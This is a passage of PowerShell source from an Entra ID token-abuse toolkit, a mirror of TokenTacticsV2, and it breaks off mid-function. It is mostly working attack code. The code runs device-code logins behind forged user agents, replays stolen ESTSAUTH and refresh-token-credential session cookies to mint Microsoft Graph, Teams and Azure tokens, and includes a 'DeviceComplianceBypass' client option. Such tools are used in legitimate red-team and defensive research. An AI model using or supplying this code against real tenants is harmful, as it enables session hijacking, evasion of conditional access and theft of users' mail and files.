mirror of
https://github.com/f-bader/TokenTacticsV2
synced 2026-06-08 14:09:31 +00:00
2039 lines
80 KiB
PowerShell
2039 lines
80 KiB
PowerShell
function Get-EntraIDToken {
|
|
<#
|
|
.DESCRIPTION
|
|
Generate a device code to be used at https://www.microsoft.com/devicelogin. Once a user has successfully authenticated, you will be presented with a JSON Web Token JWT in the variable $response.
|
|
.EXAMPLE
|
|
Get-EntraIDToken -Client Substrate
|
|
#>
|
|
param(
|
|
[Parameter(Mandatory = $False, ParameterSetName = 'CustomUserAgent,PredefinedUserAgent')]
|
|
[ValidateSet("Yammer", "Outlook", "MSTeams", "Graph", "AzureCoreManagement", "AzureManagement", "MSGraph", "DODMSGraph", "Custom", "Substrate", "SharePoint")]
|
|
[string]$Client = "MSGraph",
|
|
[Parameter(Mandatory = $False, ParameterSetName = 'CustomUserAgent,PredefinedUserAgent')]
|
|
[string]$ClientID,
|
|
[Parameter(Mandatory = $False, ParameterSetName = 'CustomUserAgent,PredefinedUserAgent')]
|
|
[string]$Scope,
|
|
[Parameter(
|
|
Mandatory = $False,
|
|
ParameterSetName = 'CustomUserAgent'
|
|
)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(
|
|
Mandatory = $False,
|
|
ParameterSetName = 'PredefinedUserAgent'
|
|
)]
|
|
[ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')]
|
|
[string]$Device,
|
|
[Parameter(
|
|
Mandatory = $False,
|
|
ParameterSetName = 'PredefinedUserAgent'
|
|
)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False, ParameterSetName = 'CustomUserAgent,PredefinedUserAgent')]
|
|
[Switch]$UseCAE,
|
|
[Parameter(Mandatory = $false, ParameterSetName = 'CustomUserAgent,PredefinedUserAgent')]
|
|
[string]$SharePointTenantName,
|
|
[Alias('UseAdmin')]
|
|
[Parameter(Mandatory = $false, ParameterSetName = 'CustomUserAgent,PredefinedUserAgent')]
|
|
[switch]$SharePointUseAdmin,
|
|
[Alias("Domain")]
|
|
[Parameter(Mandatory = $False, ParameterSetName = 'CustomUserAgent,PredefinedUserAgent')]
|
|
[string]$ResourceTenant = "common"
|
|
)
|
|
if ($CustomUserAgent) {
|
|
$UserAgent = $CustomUserAgent
|
|
} elseif ($Device) {
|
|
if ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device
|
|
}
|
|
} elseif ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent
|
|
}
|
|
# Set Headers
|
|
$Headers = @{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
|
|
# Set Body based on Client selected
|
|
if ($Client -eq "Outlook") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://outlook.office365.com/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "Substrate") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://substrate.office.com/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "Yammer") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"resource" = "https://www.yammer.com/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "Custom") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
Write-Error "ClientID must be provided for Custom client"
|
|
return
|
|
}
|
|
if ([string]::IsNullOrWhiteSpace($Scope)) {
|
|
Write-Error "Scope must be provided for Custom client"
|
|
return
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = $Scope
|
|
}
|
|
} elseif ($Client -eq "MSTeams") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://api.spaces.skype.com/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "Graph") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://graph.windows.net/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "MSGraph") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://graph.microsoft.com/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "DODMSGraph") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://dod-graph.microsoft.us/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "AzureCoreManagement") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://management.core.windows.net/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "AzureManagement") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://management.azure.com/.default offline_access openid"
|
|
}
|
|
} elseif ($Client -eq "OneDrive") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "ab9b8c07-8f02-4f72-87fa-80105867a763"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://officeapps.live.com/.default offline_access openid"
|
|
}
|
|
}
|
|
|
|
if ($SharePointUseAdmin) {
|
|
$AdminSuffix = "-admin"
|
|
} else {
|
|
$AdminSuffix = ""
|
|
}
|
|
|
|
if ($PSBoundParameters.ContainsKey('SharePointTenantName')) {
|
|
Write-Verbose "SharePoint Tenant Name is set. Defaulting to SharePoint client"
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
$ClientID = "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
|
Write-Verbose "ClientID not provided, using default value: $ClientID"
|
|
}
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"scope" = "https://$SharePointTenantName$AdminSuffix.sharepoint.com/Sites.FullControl.All offline_access openid"
|
|
}
|
|
}
|
|
|
|
if ($client -match "DOD") {
|
|
$BaseUrl = "login.microsoftonline.us"
|
|
} else {
|
|
$BaseUrl = "login.microsoftonline.com"
|
|
}
|
|
|
|
# Login Process
|
|
Write-Verbose ( $body | ConvertTo-Json -Depth 99 )
|
|
try {
|
|
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://$BaseUrl/$ResourceTenant/oauth2/v2.0/devicecode" -Headers $Headers -Body $body -ErrorAction SilentlyContinue
|
|
} catch {
|
|
Write-Verbose ( $_.Exception.Message )
|
|
throw $_.Exception.Message
|
|
}
|
|
Write-Output $authResponse
|
|
$continue = $true
|
|
$interval = $authResponse.interval
|
|
$expires = $authResponse.expires_in
|
|
$body = @{
|
|
"client_id" = $body['client_id']
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"device_code" = $authResponse.device_code
|
|
}
|
|
Write-Verbose ($body | ConvertTo-Json -Depth 99)
|
|
if ($UseCAE) {
|
|
# Add 'cp1' as client claim to get a access token valid for 24 hours
|
|
$Claims = ( @{"access_token" = @{ "xms_cc" = @{ "values" = @("cp1") } } } | ConvertTo-Json -Compress -Depth 99 )
|
|
$body.Add("claims", $Claims)
|
|
Write-Verbose ( $body | ConvertTo-Json -Depth 99 )
|
|
}
|
|
while ($continue) {
|
|
Start-Sleep -Seconds $interval
|
|
$total += $interval
|
|
|
|
if ($total -gt $expires) {
|
|
Write-Error "Timeout occurred"
|
|
return
|
|
}
|
|
# Remove response if it exists
|
|
Remove-Variable -Name response -Scope global -ErrorAction SilentlyContinue
|
|
# Try to get the response. Will give 40x while pending so we need to try&catch
|
|
try {
|
|
$global:response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://$BaseUrl/$ResourceTenant/oauth2/v2.0/token" -Headers $Headers -Body $body -ErrorAction SilentlyContinue
|
|
} catch {
|
|
# This is normal flow, always returns 40x unless successful
|
|
$details = $_.ErrorDetails.Message | ConvertFrom-Json
|
|
Write-Verbose "Error: $($details.error)"
|
|
$continue = $details.error -eq "authorization_pending"
|
|
}
|
|
|
|
# If we got response, all okay!
|
|
if ($response) {
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$response"
|
|
$output = ConvertFrom-JWTtoken -token $response.access_token
|
|
$global:TokenDomain = $output.upn -split '@' | Select-Object -Last 1
|
|
$global:TokenUpn = $output.upn
|
|
break
|
|
} elseif ($null -eq $response -and $continue) {
|
|
Write-Output "$([char]0x25CB) Waiting for user to authenticate"
|
|
} else {
|
|
Write-Output "$([char]0x274C) Could not get tokens $($details.error_description)"
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
function Get-EntraIDTokenFromCookie {
|
|
|
|
<#
|
|
.DESCRIPTION
|
|
Authenticate to an application (default graph.microsoft.com) using Authorization Code flow and a cookie
|
|
Authenticates to MSGraph as Teams FOCI client by default.
|
|
https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
|
|
|
|
.EXAMPLE
|
|
Get-EntraIDTokenFromCookie -CookieType ESTSAUTHPERSISTENT -CookieValue "0.AbcAp.."
|
|
|
|
.AUTHOR
|
|
Adapted for PowerShell by https://github.com/rotarydrone from ROADtools by https://github.com/dirkjanm
|
|
https://github.com/rvrsh3ll/TokenTactics/pull/9
|
|
https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)#selenium-based-authentication
|
|
|
|
Extended to support appverify endpoint, multiple cookie formats and full error handling by Fabian Bader
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
param(
|
|
[Parameter(Mandatory = $True)]
|
|
[string]$CookieType,
|
|
[Parameter(Mandatory = $True)]
|
|
[string]$CookieValue,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'AndroidMobile', 'iPhone')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$ClientID = "1fec8e78-bce4-4aaf-ab1b-5451cc387264", # Microsoft Teams
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Resource = "https://graph.microsoft.com",
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$Scope = "openid offline_access",
|
|
[Parameter(Mandatory = $true)]
|
|
[string]$RedirectUrl,
|
|
[Parameter(Mandatory = $false)]
|
|
[switch]$UseCodeVerifier,
|
|
[Parameter(Mandatory = $false)]
|
|
[switch]$UseV1Endpoint,
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$Proxy
|
|
)
|
|
|
|
# Configure Default Parameters
|
|
$PSDefaultParameterValues = @{}
|
|
$PSDefaultParameterValues.Add('Invoke-WebRequest:Verbose', $false)
|
|
|
|
if ($Proxy) {
|
|
Write-Verbose "$([char]0x2718) Setting proxy to $Proxy"
|
|
$PSDefaultParameterValues.Add('Invoke-WebRequest:Proxy', $Proxy)
|
|
}
|
|
|
|
if ($CustomUserAgent) {
|
|
$UserAgent = $CustomUserAgent
|
|
} elseif ($Device) {
|
|
if ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent -Device $Device
|
|
}
|
|
} elseif ($Browser) {
|
|
$UserAgent = Get-ForgedUserAgent -Browser $Browser
|
|
} else {
|
|
$UserAgent = Get-ForgedUserAgent
|
|
}
|
|
|
|
Write-Verbose "ClientID: $ClientID"
|
|
if ($Resource) {
|
|
Write-Verbose "Resource: $Resource"
|
|
}
|
|
Write-Verbose "Scope: $Scope"
|
|
Write-Verbose "RedirectUrl: $RedirectUrl"
|
|
Write-Verbose "CookieType: $CookieType"
|
|
Write-Verbose "UserAgent: $UserAgent"
|
|
|
|
$Headers = @{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
|
|
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
|
$session.UserAgent = $UserAgent
|
|
# Add basic cookies to the session
|
|
$null = Invoke-WebRequest -UseBasicParsing -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri "https://login.microsoftonline.com/error"
|
|
$cookie = [System.Net.Cookie]::new($CookieType, $CookieValue)
|
|
$session.Cookies.Add('https://login.microsoftonline.com/', $cookie)
|
|
$SessionCookies = $session.Cookies.GetCookies('https://login.microsoftonline.com') | Select-Object -ExpandProperty Name
|
|
Write-Verbose "Session cookies: $( $SessionCookies -join ', ' )"
|
|
|
|
$state = [System.Guid]::NewGuid().ToString()
|
|
$redirect_uri = ([System.Uri]::EscapeDataString($RedirectUrl))
|
|
|
|
# Get the authorization code from the STS
|
|
if ($UseV1Endpoint) {
|
|
$Uri = "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=$($ClientID)&resource=$($Resource)&scope=$($Scope)&redirect_uri=$($redirect_uri)&state=$($state)"
|
|
} else {
|
|
$Uri = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?response_type=code&client_id=$($ClientID)&scope=$($Scope)&redirect_uri=$($redirect_uri)&state=$($state)"
|
|
}
|
|
if ($UseCodeVerifier) {
|
|
$CodeVerifier = Get-TTCodeVerifier
|
|
$CodeChallenge = Get-TTCodeChallenge -CodeVerifier $CodeVerifier
|
|
$Uri += "&code_challenge=$CodeChallenge&code_challenge_method=S256"
|
|
}
|
|
if ($UseCAE -and ( $UseV1Endpoint -eq $false )) {
|
|
# Add 'cp1' as client claim to get a access token valid for 24 hours
|
|
$Uri += "&claims=" + ( @{"access_token" = @{ "xms_cc" = @{ "values" = @("cp1") } } } | ConvertTo-Json -Compress -Depth 99 )
|
|
}
|
|
Write-Verbose "Requesting URL: $Uri"
|
|
Write-Output "$([char]0x2718) Calling authorization endpoint with $CookieType cookie"
|
|
if ($PSVersionTable.PSEdition -ne "Core") {
|
|
$sts_response = Invoke-WebRequest -UseBasicParsing -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri $Uri -Headers $Headers
|
|
} else {
|
|
$sts_response = Invoke-WebRequest -UseBasicParsing -SkipHttpErrorCheck -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri $Uri -Headers $Headers
|
|
}
|
|
|
|
Write-Verbose "Status code: $($sts_response.StatusCode)"
|
|
if ( $sts_response.StatusCode -eq 200 -and $sts_response.RawContent -match "\`$Config=(.*);" ) {
|
|
Write-Verbose "AppConfig found in initial response"
|
|
$AppConfig = $Matches[1] | ConvertFrom-Json
|
|
Write-Debug "AppConfig: $($AppConfig | ConvertTo-Json -Depth 99)"
|
|
|
|
# Handle ConvergedSignIn flow
|
|
if ($AppConfig.pgid -eq "ConvergedSignIn") {
|
|
Write-Output "$([char]0x2718) ConvergedSignIn - Attempting to continue sign-in flow"
|
|
$Uri = $AppConfig.urlLogin + "&sessionid=$($AppConfig.arrSessions[0].id)"
|
|
if ($PSVersionTable.PSEdition -ne "Core") {
|
|
$sts_response = Invoke-WebRequest -UseBasicParsing -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri $Uri -Headers $Headers
|
|
} else {
|
|
$sts_response = Invoke-WebRequest -UseBasicParsing -SkipHttpErrorCheck -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri $Uri -Headers $Headers
|
|
}
|
|
Remove-Variable -Name AppConfig -ErrorAction SilentlyContinue
|
|
}
|
|
|
|
if ($sts_response.RawContent -match "\`$Config=(.*);") {
|
|
Write-Verbose "AppConfig found in initial response"
|
|
$AppConfig = $Matches[1] | ConvertFrom-Json
|
|
Write-Debug "AppConfig: $($AppConfig | ConvertTo-Json -Depth 99)"
|
|
}
|
|
|
|
#region error handling
|
|
if ( -not [string]::IsNullOrWhiteSpace( $AppConfig.sErrorCode ) ) {
|
|
Invoke-EntraErrorHandling -AppConfig $AppConfig
|
|
return
|
|
}
|
|
#endregion
|
|
|
|
#region CmsiInterrupt - For security reasons, user confirmation is required for this request. Interrupt is shown for all scheme redirects in mobile browsers.
|
|
if ( $AppConfig.pgid -eq "CmsiInterrupt" ) {
|
|
Write-Output "$([char]0x2718) AADSTS50199: CmsiInterrupt"
|
|
Write-Output " For security reasons, user confirmation is required for this application: $($AppConfig.sAppName)."
|
|
Write-Output "$([char]0x2718) urlPost URL: $($AppConfig.urlPost)"
|
|
if ( -not [string]::IsNullOrWhiteSpace($AppConfig.sDeviceId)) {
|
|
Write-Output "$([char]0x2718) Device Id: $($AppConfig.sDeviceId)"
|
|
}
|
|
if ( -not [string]::IsNullOrWhiteSpace($AppConfig.correlationId)) {
|
|
Write-Output "$([char]0x2718) Correlation Id: $($AppConfig.correlationId)"
|
|
}
|
|
if ( -not [string]::IsNullOrWhiteSpace($AppConfig.sessionId)) {
|
|
Write-Output "$([char]0x2718) Session Id: $($AppConfig.sessionId)"
|
|
}
|
|
if ( -not [string]::IsNullOrWhiteSpace($AppConfig.sPOST_Username)) {
|
|
Write-Output "$([char]0x2718) Username: $($AppConfig.sPOST_Username)"
|
|
}
|
|
$Uri = "https://login.microsoftonline.com/appverify"
|
|
$Body = @{
|
|
"ContinueAuth" = "true"
|
|
"i19" = "$(Get-Random -Minimum 1000 -Maximum 9999)"
|
|
"canary" = $AppConfig.canary
|
|
"iscsrfspeedbump" = "false"
|
|
"flowToken" = $AppConfig.sFT
|
|
"hpgrequestid" = $sts_response.Headers['x-ms-request-id']
|
|
"ctx" = $AppConfig.sCtx
|
|
}
|
|
if ($PSVersionTable.PSEdition -ne "Core") {
|
|
$sts_response = Invoke-WebRequest -UseBasicParsing -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Post -Uri $Uri -Headers $Headers -Body $Body
|
|
} else {
|
|
$sts_response = Invoke-WebRequest -UseBasicParsing -SkipHttpErrorCheck -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Post -Uri $Uri -Headers $Headers -Body $Body
|
|
}
|
|
}
|
|
#endregion
|
|
}
|
|
|
|
|
|
Write-Debug "Response: $($sts_response.RawContent)"
|
|
#region Manual sign-in required
|
|
if ($sts_response.StatusCode -eq 302 -and $sts_response.Headers.Location -notmatch "code=") {
|
|
Write-Verbose "$([char]0x2718) Single sign-on failed. Redirected to $($sts_response.Headers.Location)"
|
|
$sts_response = Invoke-WebRequest -UseBasicParsing -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $session -Method Get -Uri "$($sts_response.Headers.Location)" -Headers $Headers
|
|
if ( $sts_response.RawContent -match "\`$Config=(.*);" ) {
|
|
$AppConfig = $Matches[1] | ConvertFrom-Json
|
|
Write-Debug "AppConfig: $($AppConfig | ConvertTo-Json -Depth 99 )"
|
|
Invoke-EntraErrorHandling -AppConfig $AppConfig
|
|
} else {
|
|
Write-Output "$([char]0x2718) Could not find AppConfig in response"
|
|
Write-Output " Unknown error occurred"
|
|
Write-Debug "Response: $($sts_response.RawContent)"
|
|
}
|
|
return
|
|
}
|
|
#endregion
|
|
|
|
if ($sts_response.StatusCode -eq 302) {
|
|
if ($PSVersionTable.PSEdition -ne "Core") {
|
|
$RequestURL = $sts_response.Headers.Location
|
|
} else {
|
|
$RequestURL = $sts_response.Headers.Location[0]
|
|
}
|
|
$queryParams = ConvertTo-URLParameters -RequestURL $RequestURL
|
|
|
|
# When code is present, we have a valid refresh token and can use it to request a new token
|
|
if ($queryParams.ContainsKey('code')) {
|
|
$AuthorizationCode = $queryParams['code']
|
|
Write-Verbose "Authorization Code: $($AuthorizationCode[0..10] -join '' )..."
|
|
} else {
|
|
Write-Output "$([char]0x2718) Code not found in redirected URL path"
|
|
Write-Output " Requested URL: $($RequestURL)"
|
|
Write-Output " Response Code: $($sts_response.StatusCode)"
|
|
Write-Output " Response URI: $($sts_response.Headers.Location)"
|
|
return
|
|
}
|
|
} else {
|
|
$sts_response.RawContent -match "\`$Config=(.*);" | Out-Null
|
|
$AppConfig = $Matches[1] | ConvertFrom-Json
|
|
Write-Debug "AppConfig: $($AppConfig | ConvertTo-Json -Depth 99)"
|
|
Invoke-EntraErrorHandling -AppConfig $AppConfig
|
|
return
|
|
}
|
|
|
|
if ($AuthorizationCode) {
|
|
$body = @{
|
|
"client_id" = $ClientID
|
|
"grant_type" = "authorization_code"
|
|
"redirect_uri" = $RedirectUrl
|
|
"code" = $AuthorizationCode
|
|
"scope" = $Scope
|
|
}
|
|
if ($UseV1Endpoint) {
|
|
$body.Add("resource", $Resource)
|
|
}
|
|
if ($UseCAE -and ( $UseV1Endpoint -eq $false )) {
|
|
# Add 'cp1' as client claim to get a access token valid for 24 hours
|
|
$Claims = ( @{"access_token" = @{ "xms_cc" = @{ "values" = @("cp1") } } } | ConvertTo-Json -Compress -Depth 99 )
|
|
$body.Add("claims", $Claims)
|
|
}
|
|
if ($CodeVerifier) {
|
|
$body.Add("code_verifier", $CodeVerifier)
|
|
}
|
|
Write-Verbose "Calling token endpoint with Authorization Code"
|
|
Write-Verbose ( $body | ConvertTo-Json -Depth 99 )
|
|
|
|
try {
|
|
if ($UseV1Endpoint) {
|
|
$TokenEndpointUri = "https://login.microsoftonline.com/common/oauth2/token"
|
|
} else {
|
|
$TokenEndpointUri = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
|
|
}
|
|
$global:response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri $TokenEndpointUri -Headers $Headers -Body $body
|
|
$output = ConvertFrom-JWTtoken -token $response.access_token
|
|
$global:TokenDomain = $output.upn -split '@' | Select-Object -Last 1
|
|
$global:TokenUpn = $output.upn
|
|
Write-Output "$([char]0x2713) Token acquired and saved as `$response"
|
|
} catch {
|
|
Write-Error "Could not get tokens $($_.ErrorDetails | ConvertFrom-Json | Select-Object -ExpandProperty error_description)"
|
|
}
|
|
}
|
|
}
|
|
|
|
function Get-EntraIDTokenFromESTSCookie {
|
|
|
|
<#
|
|
.DESCRIPTION
|
|
Authenticate to an application (default graph.microsoft.com) using Authorization Code flow using an ESTS cookie for authentication.
|
|
|
|
.EXAMPLE
|
|
Get-EntraIDTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.."
|
|
|
|
.AUTHOR
|
|
Fabian Bader
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
param(
|
|
[Alias("ESTSAuthCookie")]
|
|
[Parameter(Mandatory = $True)]
|
|
[string]$CookieValue,
|
|
[ValidateSet("ESTSAUTHPERSISTENT", "ESTSAUTH")]
|
|
$ESTSCookieType = "ESTSAUTHPERSISTENT",
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet("MSTeams", "MSEdge", "AzurePowershell", "AzureManagement", "DeviceComplianceBypass", "Custom")]
|
|
[string]$Client = "MSTeams",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'AndroidMobile', 'iPhone')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$ClientID,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Resource = "https://graph.microsoft.com",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Scope = "openid offline_access",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$RedirectUrl = "https://login.microsoftonline.com/common/oauth2/nativeclient",
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$Proxy
|
|
)
|
|
|
|
if ($Client -eq "MSTeams") {
|
|
$ClientID = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
|
|
} elseif ($Client -eq "MSEdge") {
|
|
$ClientID = "ecd6b820-32c2-49b6-98a6-444530e5a77a"
|
|
} elseif ($Client -eq "AzurePowershell") {
|
|
$ClientID = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
} elseif ($Client -eq "DeviceComplianceBypass") {
|
|
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
|
|
$RedirectUrl = "msauth://com.microsoft.windowsintune.companyportal/1L4Z9FJCgn5c0VLhyAxC5O9LdlE="
|
|
} elseif ($Client -eq "AzureManagement") {
|
|
$ClientID = "84070985-06ea-473d-82fe-eb82b4011c9d"
|
|
} elseif ($Client -eq "Custom") {
|
|
if ([string]::IsNullOrWhiteSpace($ClientID)) {
|
|
Write-Error "ClientID must be provided for Custom client"
|
|
return
|
|
}
|
|
if ([string]::IsNullOrWhiteSpace($Scope)) {
|
|
Write-Error "Scope must be provided for Custom client"
|
|
return
|
|
}
|
|
}
|
|
|
|
$Parameters = @{
|
|
"CookieType" = $ESTSCookieType
|
|
"CookieValue" = $CookieValue
|
|
"ClientID" = $ClientID
|
|
"Scope" = $Scope
|
|
"RedirectUrl" = $RedirectUrl
|
|
"Verbose" = $VerbosePreference
|
|
}
|
|
if ($Proxy) {
|
|
$Parameters.Add("Proxy", $Proxy)
|
|
}
|
|
if ($CustomUserAgent) {
|
|
$Parameters.Add("CustomUserAgent", $CustomUserAgent)
|
|
} elseif ($Device) {
|
|
if ($Browser) {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent -Device $Device -Browser $Browser))
|
|
} else {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent -Device $Device))
|
|
}
|
|
} elseif ($Browser) {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent -Browser $Browser))
|
|
} else {
|
|
$Parameters.Add("CustomUserAgent", (Get-ForgedUserAgent))
|
|
}
|
|
if ($Device) {
|
|
$Parameters.Add("Device", $Device)
|
|
}
|
|
if ($Browser) {
|
|
$Parameters.Add("Browser", $Browser)
|
|
}
|
|
if ($Resource) {
|
|
$Parameters.Add("Resource", $Resource)
|
|
}
|
|
Get-EntraIDTokenFromCookie @Parameters
|
|
}
|
|
|
|
function Get-EntraIDTokenFromRefreshTokenCredentialCookie {
|
|
<#
|
|
.DESCRIPTION
|
|
Authenticate to an application (default graph.microsoft.com) using Authorization Code flow using an x-ms-RefreshTokenCredential cookie for authentication.
|
|
|
|
.EXAMPLE
|
|
Get-EntraIDTokenFromRefreshTokenCredentialCookie -Client MSTeams -RefreshTokenCredential "eyJhbGciOiJ..."
|
|
|
|
.AUTHOR
|
|
Fabian Bader
|
|
#>
|
|
[CmdletBinding()]
|
|
param(
|
|
[Parameter(Mandatory = $True)]
|
|
[string]$RefreshTokenCredential,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet("MSTeams", "MSEdge", "AzurePowershell", "AzureManagement", "DeviceComplianceBypass", "Custom")]
|
|
[string]$Client = "MSTeams",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$CustomUserAgent,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Mac', 'Windows', 'AndroidMobile', 'iPhone')]
|
|
[string]$Device,
|
|
[Parameter(Mandatory = $False)]
|
|
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
|
|
[string]$Browser,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$ClientID,
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Resource = "https://graph.microsoft.com",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$Scope = "openid offline_access",
|
|
[Parameter(Mandatory = $False)]
|
|
[string]$RedirectUrl = "https://login.microsoftonline.com/common/oauth2/nativeclient",
|
|
[Parameter(Mandatory = $false)]
|
|
[string]$Proxy
|
|
)
|
|
|
|
|
|
if ($Client -eq "MSTeams") {
|
|
$ClientID = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
|
|
